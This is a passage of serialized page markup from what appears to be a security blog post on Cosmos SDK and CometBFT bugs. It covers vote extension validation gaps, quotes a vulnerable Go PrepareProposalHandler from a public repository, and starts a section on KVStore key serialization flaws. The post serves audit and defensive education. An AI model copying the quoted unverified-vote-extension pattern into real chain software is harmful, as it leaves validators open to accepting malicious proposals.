style":94},[8296],{"type":29,"value":643},{"type":23,"tag":75,"props":8298,"children":8299},{"style":110},[8300],{"type":29,"value":8301},"context",{"type":23,"tag":75,"props":8303,"children":8304},{"style":94},[8305],{"type":29,"value":557},{"type":23,"tag":75,"props":8307,"children":8308},{"style":88},[8309],{"type":29,"value":8310},"TODO",{"type":23,"tag":75,"props":8312,"children":8313},{"style":94},[8314],{"type":29,"value":1471},{"type":23,"tag":75,"props":8316,"children":8317},{"style":110},[8318],{"type":29,"value":7737},{"type":23,"tag":75,"props":8320,"children":8321},{"style":94},[8322],{"type":29,"value":653},{"type":23,"tag":75,"props":8324,"children":8325},{"class":77,"line":834},[8326],{"type":23,"tag":75,"props":8327,"children":8328},{"style":209},[8329],{"type":29,"value":6890},{"type":23,"tag":75,"props":8331,"children":8332},{"class":77,"line":881},[8333],{"type":23,"tag":75,"props":8334,"children":8335},{"style":94},[8336],{"type":29,"value":2503},{"type":23,"tag":75,"props":8338,"children":8339},{"class":77,"line":3355},[8340,8345,8349,8353],{"type":23,"tag":75,"props":8341,"children":8342},{"style":94},[8343],{"type":29,"value":8344},"    } ",{"type":23,"tag":75,"props":8346,"children":8347},{"style":175},[8348],{"type":29,"value":6878},{"type":23,"tag":75,"props":8350,"children":8351},{"style":175},[8352],{"type":29,"value":7386},{"type":23,"tag":75,"props":8354,"children":8355},{"style":94},[8356],{"type":29,"value":401},{"type":23,"tag":75,"props":8358,"children":8359},{"class":77,"line":3390},[8360],{"type":23,"tag":75,"props":8361,"children":8362},{"style":209},[8363],{"type":29,"value":6209},{"type":23,"tag":75,"props":8365,"children":8366},{"class":77,"line":3423},[8367],{"type":23,"tag":75,"props":8368,"children":8369},{"style":94},[8370],{"type":29,"value":346},{"type":23,"tag":75,"props":8372,"children":8373},{"class":77,"line":3436},[8374],{"type":23,"tag":75,"props":8375,"children":8376},{"style":209},[8377],{"type":29,"value":6478},{"type":23,"tag":75,"props":8379,"children":8380},{"class":77,"line":3449},[8381],{"type":23,"tag":75,"props":8382,"children":8383},{"style":94},[8384],{"type":29,"value":369},{"type":23,"tag":32,"props":8386,"children":8387},{},[8388],{"type":29,"value":8389},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":23,"tag":923,"props":8391,"children":8393},{"id":8392},"real-world-examples-4",[8394],{"type":29,"value":928},{"type":23,"tag":32,"props":8396,"children":8397},{},[8398,8400,8405,8407,8413,8415,8421],{"type":29,"value":8399},"An example of the bug we just described is shown here. ",{"type":23,"tag":71,"props":8401,"children":8403},{"className":8402},[],[8404],{"type":29,"value":7521},{"type":29,"value":8406}," only checks that each vote is properly signed by a validator in ",{"type":23,"tag":71,"props":8408,"children":8410},{"className":8409},[],[8411],{"type":29,"value":8412},"ValidateVoteExtension",{"type":29,"value":8414}," but does not verify it against the rules in ",{"type":23,"tag":71,"props":8416,"children":8418},{"className":8417},[],[8419],{"type":29,"value":8420},"VerifyVoteExtention.",{"type":29,"value":8422}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":23,"tag":32,"props":8424,"children":8425},{},[8426],{"type":23,"tag":940,"props":8427,"children":8430},{"href":8428,"rel":8429},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[944],[8431],{"type":29,"value":982},{"type":23,"tag":64,"props":8433,"children":8435},{"code":8434,"language":373,"meta":7,"className":374,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[8436],{"type":23,"tag":71,"props":8437,"children":8438},{"__ignoreMap":7},[8439,8493,8584,8591,8612,8681,8689,8794,8817,8836,8843,8897,8920,8976,8995,9002,9009,9016,9070,9077,9103,9126,9179,9242,9249,9276,9296,9308,9315],{"type":23,"tag":75,"props":8440,"children":8441},{"class":77,"line":78},[8442,8446,8450,8455,8459,8464,8468,8473,8477,8481,8485,8489],{"type":23,"tag":75,"props":8443,"children":8444},{"style":82},[8445],{"type":29,"value":512},{"type":23,"tag":75,"props":8447,"children":8448},{"style":94},[8449],{"type":29,"value":183},{"type":23,"tag":75,"props":8451,"children":8452},{"style":110},[8453],{"type":29,"value":8454},"h ",{"type":23,"tag":75,"props":8456,"children":8457},{"style":209},[8458],{"type":29,"value":601},{"type":23,"tag":75,"props":8460,"children":8461},{"style":104},[8462],{"type":29,"value":8463},"Handlers",{"type":23,"tag":75,"props":8465,"children":8466},{"style":94},[8467],{"type":29,"value":167},{"type":23,"tag":75,"props":8469,"children":8470},{"style":88},[8471],{"type":29,"value":8472},"PrepareProposalHandler",{"type":23,"tag":75,"props":8474,"children":8475},{"style":94},[8476],{"type":29,"value":2464},{"type":23,"tag":75,"props":8478,"children":8479},{"style":104},[8480],{"type":29,"value":3041},{"type":23,"tag":75,"props":8482,"children":8483},{"style":94},[8484],{"type":29,"value":557},{"type":23,"tag":75,"props":8486,"children":8487},{"style":104},[8488],{"type":29,"value":8472},{"type":23,"tag":75,"props":8490,"children":8491},{"style":94},[8492],{"type":29,"value":401},{"type":23,"tag":75,"props":8494,"children":8495},{"class":77,"line":100},[8496,8500,8504,8508,8512,8516,8520,8524,8528,8533,8537,8542,8546,8551,8555,8559,8563,8567,8572,8576,8580],{"type":23,"tag":75,"props":8497,"children":8498},{"style":175},[8499],{"type":29,"value":355},{"type":23,"tag":75,"props":8501,"children":8502},{"style":82},[8503],{"type":29,"value":4340},{"type":23,"tag":75,"props":8505,"children":8506},{"style":94},[8507],{"type":29,"value":643},{"type":23,"tag":75,"props":8509,"children":8510},{"style":110},[8511],{"type":29,"value":3331},{"type":23,"tag":75,"props":8513,"children":8514},{"style":104},[8515],{"type":29,"value":2951},{"type":23,"tag":75,"props":8517,"children":8518},{"style":94},[8519],{"type":29,"value":557},{"type":23,"tag":75,"props":8521,"children":8522},{"style":104},[8523],{"type":29,"value":562},{"type":23,"tag":75,"props":8525,"children":8526},{"style":94},[8527],{"type":29,"value":611},{"type":23,"tag":75,"props":8529,"children":8530},{"style":110},[8531],{"type":29,"value":8532},"req",{"type":23,"tag":75,"props":8534,"children":8535},{"style":209},[8536],{"type":29,"value":579},{"type":23,"tag":75,"props":8538,"children":8539},{"style":104},[8540],{"type":29,"value":8541},"abcitypes",{"type":23,"tag":75,"props":8543,"children":8544},{"style":94},[8545],{"type":29,"value":557},{"type":23,"tag":75,"props":8547,"children":8548},{"style":104},[8549],{"type":29,"value":8550},"RequestPrepareProposal",{"type":23,"tag":75,"props":8552,"children":8553},{"style":94},[8554],{"type":29,"value":596},{"type":23,"tag":75,"props":8556,"children":8557},{"style":209},[8558],{"type":29,"value":601},{"type":23,"tag":75,"props":8560,"children":8561},{"style":104},[8562],{"type":29,"value":8541},{"type":23,"tag":75,"props":8564,"children":8565},{"style":94},[8566],{"type":29,"value":557},{"type":23,"tag":75,"props":8568,"children":8569},{"style":104},[8570],{"type":29,"value":8571},"ResponsePrepareProposal",{"type":23,"tag":75,"props":8573,"children":8574},{"style":94},[8575],{"type":29,"value":611},{"type":23,"tag":75,"props":8577,"children":8578},{"style":104},[8579],{"type":29,"value":616},{"type":23,"tag":75,"props":8581,"children":8582},{"style":94},[8583],{"type":29,"value":193},{"type":23,"tag":75,"props":8585,"children":8586},{"class":77,"line":121},[8587],{"type":23,"tag":75,"props":8588,"children":8589},{"style":209},[8590],{"type":29,"value":6209},{"type":23,"tag":75,"props":8592,"children":8593},{"class":77,"line":138},[8594,8598,8603,8607],{"type":23,"tag":75,"props":8595,"children":8596},{"style":82},[8597],{"type":29,"value":4451},{"type":23,"tag":75,"props":8599,"children":8600},{"style":110},[8601],{"type":29,"value":8602}," injection",{"type":23,"tag":75,"props":8604,"children":8605},{"style":94},[8606],{"type":29,"value":439},{"type":23,"tag":75,"props":8608,"children":8609},{"style":104},[8610],{"type":29,"value":8611},"byte\n",{"type":23,"tag":75,"props":8613,"children":8614},{"class":77,"line":161},[8615,8619,8624,8628,8632,8637,8641,8645,8649,8654,8659,8663,8668,8672,8677],{"type":23,"tag":75,"props":8616,"children":8617},{"style":175},[8618],{"type":29,"value":2445},{"type":23,"tag":75,"props":8620,"children":8621},{"style":110},[8622],{"type":29,"value":8623}," req",{"type":23,"tag":75,"props":8625,"children":8626},{"style":94},[8627],{"type":29,"value":557},{"type":23,"tag":75,"props":8629,"children":8630},{"style":110},[8631],{"type":29,"value":7857},{"type":23,"tag":75,"props":8633,"children":8634},{"style":209},[8635],{"type":29,"value":8636}," >",{"type":23,"tag":75,"props":8638,"children":8639},{"style":110},[8640],{"type":29,"value":3142},{"type":23,"tag":75,"props":8642,"children":8643},{"style":94},[8644],{"type":29,"value":557},{"type":23,"tag":75,"props":8646,"children":8647},{"style":88},[8648],{"type":29,"value":8061},{"type":23,"tag":75,"props":8650,"children":8651},{"style":94},[8652],{"type":29,"value":8653},"().",{"type":23,"tag":75,"props":8655,"children":8656},{"style":110},[8657],{"type":29,"value":8658},"Abci",{"type":23,"tag":75,"props":8660,"children":8661},{"style":94},[8662],{"type":29,"value":557},{"type":23,"tag":75,"props":8664,"children":8665},{"style":110},[8666],{"type":29,"value":8667},"VoteExtensionsEnableHeight",{"type":23,"tag":75,"props":8669,"children":8670},{"style":209},[8671],{"type":29,"value":7889},{"type":23,"tag":75,"props":8673,"children":8674},{"style":110},[8675],{"type":29,"value":8676}," collectSigs",{"type":23,"tag":75,"props":8678,"children":8679},{"style":94},[8680],{"type":29,"value":401},{"type":23,"tag":75,"props":8682,"children":8683},{"class":77,"line":196},[8684],{"type":23,"tag":75,"props":8685,"children":8686},{"style":3621},[8687],{"type":29,"value":8688},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":23,"tag":75,"props":8690,"children":8691},{"class":77,"line":220},[8692,8696,8700,8705,8709,8714,8718,8722,8726,8731,8735,8740,8744,8748,8752,8756,8760,8764,8768,8773,8777,8781,8785,8790],{"type":23,"tag":75,"props":8693,"children":8694},{"style":110},[8695],{"type":29,"value":6706},{"type":23,"tag":75,"props":8697,"children":8698},{"style":209},[8699],{"type":29,"value":633},{"type":23,"tag":75,"props":8701,"children":8702},{"style":110},[8703],{"type":29,"value":8704}," baseapp",{"type":23,"tag":75,"props":8706,"children":8707},{"style":94},[8708],{"type":29,"value":557},{"type":23,"tag":75,"props":8710,"children":8711},{"style":88},[8712],{"type":29,"value":8713},"ValidateVoteExtensions",{"type":23,"tag":75,"props":8715,"children":8716},{"style":94},[8717],{"type":29,"value":643},{"type":23,"tag":75,"props":8719,"children":8720},{"style":110},[8721],{"type":29,"value":3331},{"type":23,"tag":75,"props":8723,"children":8724},{"style":94},[8725],{"type":29,"value":611},{"type":23,"tag":75,"props":8727,"children":8728},{"style":110},[8729],{"type":29,"value":8730},"h",{"type":23,"tag":75,"props":8732,"children":8733},{"style":94},[8734],{"type":29,"value":557},{"type":23,"tag":75,"props":8736,"children":8737},{"style":110},[8738],{"type":29,"value":8739},"stakingKeeper",{"type":23,"tag":75,"props":8741,"children":8742},{"style":94},[8743],{"type":29,"value":611},{"type":23,"tag":75,"props":8745,"children":8746},{"style":110},[8747],{"type":29,"value":8532},{"type":23,"tag":75,"props":8749,"children":8750},{"style":94},[8751],{"type":29,"value":557},{"type":23,"tag":75,"props":8753,"children":8754},{"style":110},[8755],{"type":29,"value":7857},{"type":23,"tag":75,"props":8757,"children":8758},{"style":94},[8759],{"type":29,"value":611},{"type":23,"tag":75,"props":8761,"children":8762},{"style":110},[8763],{"type":29,"value":3331},{"type":23,"tag":75,"props":8765,"children":8766},{"style":94},[8767],{"type":29,"value":557},{"type":23,"tag":75,"props":8769,"children":8770},{"style":88},[8771],{"type":29,"value":8772},"ChainID",{"type":23,"tag":75,"props":8774,"children":8775},{"style":94},[8776],{"type":29,"value":1471},{"type":23,"tag":75,"props":8778,"children":8779},{"style":110},[8780],{"type":29,"value":8532},{"type":23,"tag":75,"props":8782,"children":8783},{"style":94},[8784],{"type":29,"value":557},{"type":23,"tag":75,"props":8786,"children":8787},{"style":110},[8788],{"type":29,"value":8789},"LocalLastCommit",{"type":23,"tag":75,"props":8791,"children":8792},{"style":94},[8793],{"type":29,"value":653},{"type":23,"tag":75,"props":8795,"children":8796},{"class":77,"line":248},[8797,8801,8805,8809,8813],{"type":23,"tag":75,"props":8798,"children":8799},{"style":175},[8800],{"type":29,"value":4629},{"type":23,"tag":75,"props":8802,"children":8803},{"style":110},[8804],{"type":29,"value":6277},{"type":23,"tag":75,"props":8806,"children":8807},{"style":209},[8808],{"type":29,"value":6282},{"type":23,"tag":75,"props":8810,"children":8811},{"style":82},[8812],{"type":29,"value":6287},{"type":23,"tag":75,"props":8814,"children":8815},{"style":94},[8816],{"type":29,"value":401},{"type":23,"tag":75,"props":8818,"children":8819},{"class":77,"line":270},[8820,8824,8828,8832],{"type":23,"tag":75,"props":8821,"children":8822},{"style":175},[8823],{"type":29,"value":4981},{"type":23,"tag":75,"props":8825,"children":8826},{"style":82},[8827],{"type":29,"value":6287},{"type":23,"tag":75,"props":8829,"children":8830},{"style":94},[8831],{"type":29,"value":611},{"type":23,"tag":75,"props":8833,"children":8834},{"style":110},[8835],{"type":29,"value":8020},{"type":23,"tag":75,"props":8837,"children":8838},{"class":77,"line":279},[8839],{"type":23,"tag":75,"props":8840,"children":8841},{"style":94},[8842],{"type":29,"value":5022},{"type":23,"tag":75,"props":8844,"children":8845},{"class":77,"line":303},[8846,8851,8855,8859,8863,8868,8872,8877,8881,8885,8889,8893],{"type":23,"tag":75,"props":8847,"children":8848},{"style":110},[8849],{"type":29,"value":8850},"            injection",{"type":23,"tag":75,"props":8852,"children":8853},{"style":94},[8854],{"type":29,"value":611},{"type":23,"tag":75,"props":8856,"children":8857},{"style":110},[8858],{"type":29,"value":4434},{"type":23,"tag":75,"props":8860,"children":8861},{"style":209},[8862],{"type":29,"value":1193},{"type":23,"tag":75,"props":8864,"children":8865},{"style":110},[8866],{"type":29,"value":8867}," json",{"type":23,"tag":75,"props":8869,"children":8870},{"style":94},[8871],{"type":29,"value":557},{"type":23,"tag":75,"props":8873,"children":8874},{"style":88},[8875],{"type":29,"value":8876},"Marshal",{"type":23,"tag":75,"props":8878,"children":8879},{"style":94},[8880],{"type":29,"value":643},{"type":23,"tag":75,"props":8882,"children":8883},{"style":110},[8884],{"type":29,"value":8532},{"type":23,"tag":75,"props":8886,"children":8887},{"style":94},[8888],{"type":29,"value":557},{"type":23,"tag":75,"props":8890,"children":8891},{"style":110},[8892],{"type":29,"value":8789},{"type":23,"tag":75,"props":8894,"children":8895},{"style":94},[8896],{"type":29,"value":653},{"type":23,"tag":75,"props":8898,"children":8899},{"class":77,"line":322},[8900,8904,8908,8912,8916],{"type":23,"tag":75,"props":8901,"children":8902},{"style":175},[8903],{"type":29,"value":4629},{"type":23,"tag":75,"props":8905,"children":8906},{"style":110},[8907],{"type":29,"value":6277},{"type":23,"tag":75,"props":8909,"children":8910},{"style":209},[8911],{"type":29,"value":6282},{"type":23,"tag":75,"props":8913,"children":8914},{"style":82},[8915],{"type":29,"value":6287},{"type":23,"tag":75,"props":8917,"children":8918},{"style":94},[8919],{"type":29,"value":401},{"type":23,"tag":75,"props":8921,"children":8922},{"class":77,"line":340},[8923,8928,8932,8937,8941,8946,8950,8955,8959,8964,8968,8972],{"type":23,"tag":75,"props":8924,"children":8925},{"style":110},[8926],{"type":29,"value":8927},"                h",{"type":23,"tag":75,"props":8929,"children":8930},{"style":94},[8931],{"type":29,"value":557},{"type":23,"tag":75,"props":8933,"children":8934},{"style":110},[8935],{"type":29,"value":8936},"logger",{"type":23,"tag":75,"props":8938,"children":8939},{"style":94},[8940],{"type":29,"value":557},{"type":23,"tag":75,"props":8942,"children":8943},{"style":88},[8944],{"type":29,"value":8945},"Error",{"type":23,"tag":75,"props":8947,"children":8948},{"style":94},[8949],{"type":29,"value":643},{"type":23,"tag":75,"props":8951,"children":8952},{"style":1266},[8953],{"type":29,"value":8954},"\"failed to marshal extended votes\"",{"type":23,"tag":75,"props":8956,"children":8957},{"style":94},[8958],{"type":29,"value":611},{"type":23,"tag":75,"props":8960,"children":8961},{"style":1266},[8962],{"type":29,"value":8963},"\"err\"",{"type":23,"tag":75,"props":8965,"children":8966},{"style":94},[8967],{"type":29,"value":611},{"type":23,"tag":75,"props":8969,"children":8970},{"style":110},[8971],{"type":29,"value":4434},{"type":23,"tag":75,"props":8973,"children":8974},{"style":94},[8975],{"type":29,"value":653},{"type":23,"tag":75,"props":8977,"children":8978},{"class":77,"line":349},[8979,8983,8987,8991],{"type":23,"tag":75,"props":8980,"children":8981},{"style":175},[8982],{"type":29,"value":4981},{"type":23,"tag":75,"props":8984,"children":8985},{"style":82},[8986],{"type":29,"value":6287},{"type":23,"tag":75,"props":8988,"children":8989},{"style":94},[8990],{"type":29,"value":611},{"type":23,"tag":75,"props":8992,"children":8993},{"style":110},[8994],{"type":29,"value":8020},{"type":23,"tag":75,"props":8996,"children":8997},{"class":77,"line":363},[8998],{"type":23,"tag":75,"props":8999,"children":9000},{"style":94},[9001],{"type":29,"value":5022},{"type":23,"tag":75,"props":9003,"children":9004},{"class":77,"line":656},[9005],{"type":23,"tag":75,"props":9006,"children":9007},{"style":209},[9008],{"type":29,"value":6890},{"type":23,"tag":75,"props":9010,"children":9011},{"class":77,"line":705},[9012],{"type":23,"tag":75,"props":9013,"children":9014},{"style":94},[9015],{"type":29,"value":2503},{"type":23,"tag":75,"props":9017,"children":9018},{"class":77,"line":787},[9019,9024,9028,9032,9036,9041,9045,9050,9054,9058,9062,9066],{"type":23,"tag":75,"props":9020,"children":9021},{"style":110},[9022],{"type":29,"value":9023},"        defaultRes",{"type":23,"tag":75,"props":9025,"children":9026},{"style":94},[9027],{"type":29,"value":611},{"type":23,"tag":75,"props":9029,"children":9030},{"style":110},[9031],{"type":29,"value":4434},{"type":23,"tag":75,"props":9033,"children":9034},{"style":209},[9035],{"type":29,"value":633},{"type":23,"tag":75,"props":9037,"children":9038},{"style":110},[9039],{"type":29,"value":9040}," h",{"type":23,"tag":75,"props":9042,"children":9043},{"style":94},[9044],{"type":29,"value":557},{"type":23,"tag":75,"props":9046,"children":9047},{"style":88},[9048],{"type":29,"value":9049},"defaultPrepareProposal",{"type":23,"tag":75,"props":9051,"children":9052},{"style":94},[9053],{"type":29,"value":643},{"type":23,"tag":75,"props":9055,"children":9056},{"style":110},[9057],{"type":29,"value":3331},{"type":23,"tag":75,"props":9059,"children":9060},{"style":94},[9061],{"type":29,"value":611},{"type":23,"tag":75,"props":9063,"children":9064},{"style":110},[9065],{"type":29,"value":8532},{"type":23,"tag":75,"props":9067,"children":9068},{"style":94},[9069],{"type":29,"value":653},{"type":23,"tag":75,"props":9071,"children":9072},{"class":77,"line":826},[9073],{"type":23,"tag":75,"props":9074,"children":9075},{"style":209},[9076],{"type":29,"value":6209},{"type":23,"tag":75,"props":9078,"children":9079},{"class":77,"line":834},[9080,9085,9089,9094,9098],{"type":23,"tag":75,"props":9081,"children":9082},{"style":110},[9083],{"type":29,"value":9084},"        proposalTxs",{"type":23,"tag":75,"props":9086,"children":9087},{"style":209},[9088],{"type":29,"value":633},{"type":23,"tag":75,"props":9090,"children":9091},{"style":110},[9092],{"type":29,"value":9093}," defaultRes",{"type":23,"tag":75,"props":9095,"children":9096},{"style":94},[9097],{"type":29,"value":557},{"type":23,"tag":75,"props":9099,"children":9100},{"style":110},[9101],{"type":29,"value":9102},"Txs\n",{"type":23,"tag":75,"props":9104,"children":9105},{"class":77,"line":881},[9106,9110,9114,9118,9122],{"type":23,"tag":75,"props":9107,"children":9108},{"style":175},[9109],{"type":29,"value":2445},{"type":23,"tag":75,"props":9111,"children":9112},{"style":110},[9113],{"type":29,"value":8602},{"type":23,"tag":75,"props":9115,"children":9116},{"style":209},[9117],{"type":29,"value":6282},{"type":23,"tag":75,"props":9119,"children":9120},{"style":82},[9121],{"type":29,"value":6287},{"type":23,"tag":75,"props":9123,"children":9124},{"style":94},[9125],{"type":29,"value":401},{"type":23,"tag":75,"props":9127,"children":9128},{"class":77,"line":3355},[9129,9134,9138,9142,9147,9152,9156,9161,9165,9170,9175],{"type":23,"tag":75,"props":9130,"children":9131},{"style":110},[9132],{"type":29,"value":9133},"            proposalTxs",{"type":23,"tag":75,"props":9135,"children":9136},{"style":209},[9137],{"type":29,"value":1193},{"type":23,"tag":75,"props":9139,"children":9140},{"style":88},[9141],{"type":29,"value":1986},{"type":23,"tag":75,"props":9143,"children":9144},{"style":94},[9145],{"type":29,"value":9146},"([][]",{"type":23,"tag":75,"props":9148,"children":9149},{"style":104},[9150],{"type":29,"value":9151},"byte",{"type":23,"tag":75,"props":9153,"children":9154},{"style":94},[9155],{"type":29,"value":853},{"type":23,"tag":75,"props":9157,"children":9158},{"style":110},[9159],{"type":29,"value":9160},"injection",{"type":23,"tag":75,"props":9162,"children":9163},{"style":94},[9164],{"type":29,"value":873},{"type":23,"tag":75,"props":9166,"children":9167},{"style":110},[9168],{"type":29,"value":9169},"proposalTxs",{"type":23,"tag":75,"props":9171,"children":9172},{"style":209},[9173],{"type":29,"value":9174},"...",{"type":23,"tag":75,"props":9176,"children":9177},{"style":94},[9178],{"type":29,"value":653},{"type":23,"tag":75,"props":9180,"children":9181},{"class":77,"line":3390},[9182,9187,9191,9195,9199,9204,9208,9213,9217,9222,9226,9230,9234,9238],{"type":23,"tag":75,"props":9183,"children":9184},{"style":110},[9185],{"type":29,"value":9186},"            h",{"type":23,"tag":75,"props":9188,"children":9189},{"style":94},[9190],{"type":29,"value":557},{"type":23,"tag":75,"props":9192,"children":9193},{"style":110},[9194],{"type":29,"value":8936},{"type":23,"tag":75,"props":9196,"children":9197},{"style":94},[9198],{"type":29,"value":557},{"type":23,"tag":75,"props":9200,"children":9201},{"style":88},[9202],{"type":29,"value":9203},"Debug",{"type":23,"tag":75,"props":9205,"children":9206},{"style":94},[9207],{"type":29,"value":643},{"type":23,"tag":75,"props":9209,"children":9210},{"style":1266},[9211],{"type":29,"value":9212},"\"injected local last commit\"",{"type":23,"tag":75,"props":9214,"children":9215},{"style":94},[9216],{"type":29,"value":611},{"type":23,"tag":75,"props":9218,"children":9219},{"style":1266},[9220],{"type":29,"value":9221},"\"height\"",{"type":23,"tag":75,"props":9223,"children":9224},{"style":94},[9225],{"type":29,"value":611},{"type":23,"tag":75,"props":9227,"children":9228},{"style":110},[9229],{"type":29,"value":8532},{"type":23,"tag":75,"props":9231,"children":9232},{"style":94},[9233],{"type":29,"value":557},{"type":23,"tag":75,"props":9235,"children":9236},{"style":110},[9237],{"type":29,"value":7857},{"type":23,"tag":75,"props":9239,"children":9240},{"style":94},[9241],{"type":29,"value":653},{"type":23,"tag":75,"props":9243,"children":9244},{"class":77,"line":3423},[9245],{"type":23,"tag":75,"props":9246,"children":9247},{"style":94},[9248],{"type":29,"value":2503},{"type":23,"tag":75,"props":9250,"children":9251},{"class":77,"line":3436},[9252,9256,9260,9264,9268,9272],{"type":23,"tag":75,"props":9253,"children":9254},{"style":175},[9255],{"type":29,"value":1388},{"type":23,"tag":75,"props":9257,"children":9258},{"style":209},[9259],{"type":29,"value":844},{"type":23,"tag":75,"props":9261,"children":9262},{"style":104},[9263],{"type":29,"value":8541},{"type":23,"tag":75,"props":9265,"children":9266},{"style":94},[9267],{"type":29,"value":557},{"type":23,"tag":75,"props":9269,"children":9270},{"style":104},[9271],{"type":29,"value":8571},{"type":23,"tag":75,"props":9273,"children":9274},{"style":94},[9275],{"type":29,"value":2549},{"type":23,"tag":75,"props":9277,"children":9278},{"class":77,"line":3449},[9279,9284,9288,9292],{"type":23,"tag":75,"props":9280,"children":9281},{"style":110},[9282],{"type":29,"value":9283},"            Txs",{"type":23,"tag":75,"props":9285,"children":9286},{"style":94},[9287],{"type":29,"value":863},{"type":23,"tag":75,"props":9289,"children":9290},{"style":110},[9291],{"type":29,"value":9169},{"type":23,"tag":75,"props":9293,"children":9294},{"style":94},[9295],{"type":29,"value":118},{"type":23,"tag":75,"props":9297,"children":9298},{"class":77,"line":3457},[9299,9304],{"type":23,"tag":75,"props":9300,"children":9301},{"style":94},[9302],{"type":29,"value":9303},"        }, ",{"type":23,"tag":75,"props":9305,"children":9306},{"style":82},[9307],{"type":29,"value":878},{"type":23,"tag":75,"props":9309,"children":9310},{"class":77,"line":3465},[9311],{"type":23,"tag":75,"props":9312,"children":9313},{"style":94},[9314],{"type":29,"value":346},{"type":23,"tag":75,"props":9316,"children":9317},{"class":77,"line":3473},[9318],{"type":23,"tag":75,"props":9319,"children":9320},{"style":94},[9321],{"type":29,"value":369},{"type":23,"tag":32,"props":9323,"children":9324},{},[9325,9327,9332,9333,9338,9340,9347],{"type":29,"value":9326},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":23,"tag":71,"props":9328,"children":9330},{"className":9329},[],[9331],{"type":29,"value":7686},{"type":29,"value":183},{"type":23,"tag":71,"props":9334,"children":9336},{"className":9335},[],[9337],{"type":29,"value":7754},{"type":29,"value":9339},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":23,"tag":940,"props":9341,"children":9344},{"href":9342,"rel":9343},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[944],[9345],{"type":29,"value":9346},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":29,"value":9348},", which will later get rejected by CometBTF.",{"type":23,"tag":24,"props":9350,"children":9352},{"id":9351},"the-keymaker",[9353],{"type":29,"value":9354},"The Keymaker",{"type":23,"tag":32,"props":9356,"children":9357},{},[9358,9360,9366,9368,9373],{"type":29,"value":9359},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":23,"tag":71,"props":9361,"children":9363},{"className":9362},[],[9364],{"type":29,"value":9365},"KVStore",{"type":29,"value":9367}," to handle states efficently. In ",{"type":23,"tag":71,"props":9369,"children":9371},{"className":9370},[],[9372],{"type":29,"value":9365},{"type":29,"value":9374},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":23,"tag":32,"props":9376,"children":9377},{},[9378],{"type":29,"value":9379},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":23,"tag":32,"props":9381,"children":9382},{},[9383,9385,9391],{"type":29,"value":9384},"Let's start by considering a scenario where we need to store the ",{"type":23,"tag":71,"props":9386,"children":9388},{"className":9387},[],[9389],{"type":29,"value":9390},"positionMap",{"type":29,"value":9392}," structure mentioned below into storage.",{"type":23,"tag":64,"props":9394,"children":9396},{"code":9395,"language":373,"meta":7,"className":374,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[9397],{"type":23,"tag":71,"props":9398,"children":9399},{"__ignoreMap":7},[9400,9416,9433,9449,9469,9485,9492,9509],{"type":23,"tag":75,"props":9401,"children":9402},{"class":77,"line":78},[9403,9407,9412],{"type":23,"tag":75,"props":9404,"children":9405},{"style":82},[9406],{"type":29,"value":386},{"type":23,"tag":75,"props":9408,"children":9409},{"style":104},[9410],{"type":29,"value":9411}," VaultId",{"type":23,"tag":75,"props":9413,"children":9414},{"style":104},[9415],{"type":29,"value":414},{"type":23,"tag":75,"props":9417,"children":9418},{"class":77,"line":100},[9419,9423,9428],{"type":23,"tag":75,"props":9420,"children":9421},{"style":82},[9422],{"type":29,"value":386},{"type":23,"tag":75,"props":9424,"children":9425},{"style":104},[9426],{"type":29,"value":9427}," Username",{"type":23,"tag":75,"props":9429,"children":9430},{"style":104},[9431],{"type":29,"value":9432}," string\n",{"type":23,"tag":75,"props":9434,"children":9435},{"class":77,"line":121},[9436,9440,9445],{"type":23,"tag":75,"props":9437,"children":9438},{"style":82},[9439],{"type":29,"value":386},{"type":23,"tag":75,"props":9441,"children":9442},{"style":104},[9443],{"type":29,"value":9444}," PositionName",{"type":23,"tag":75,"props":9446,"children":9447},{"style":104},[9448],{"type":29,"value":9432},{"type":23,"tag":75,"props":9450,"children":9451},{"class":77,"line":138},[9452,9456,9461,9465],{"type":23,"tag":75,"props":9453,"children":9454},{"style":82},[9455],{"type":29,"value":386},{"type":23,"tag":75,"props":9457,"children":9458},{"style":104},[9459],{"type":29,"value":9460}," 